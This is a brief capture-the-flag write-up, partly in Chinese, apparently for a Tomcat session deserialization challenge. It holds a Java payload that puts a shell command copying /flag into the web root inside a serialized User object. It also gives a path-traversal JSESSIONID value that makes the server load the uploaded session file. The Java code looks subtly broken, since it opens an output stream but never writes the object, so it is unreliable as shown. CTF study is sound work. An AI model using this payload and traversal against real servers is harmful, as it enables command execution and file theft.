    import java.util.Base64;
    
    public class Payload {
        public static void main(String[] args) throws Exception{
    
            User user = new User();
            Class<? extends User> aClass = user.getClass();
            Field username = aClass.getDeclaredField("username");
            username.setAccessible(true);
            username.set(user,"cp /flag /usr/local/tomcat/webapps/ROOT/1.jsp");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.session"));
            objectOutputStream.close();
    
        }
    }
    
  • 文件路径为:/usr/local/tomcat/webapps/ROOT/WEB-INF/upload/aaa.session

  • 抓包修改:JSESSIONID=../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/upload/aaa

  • 访问1.jsp

参考链接:https://blog.csdn.net/miuzzx/article/details/128221385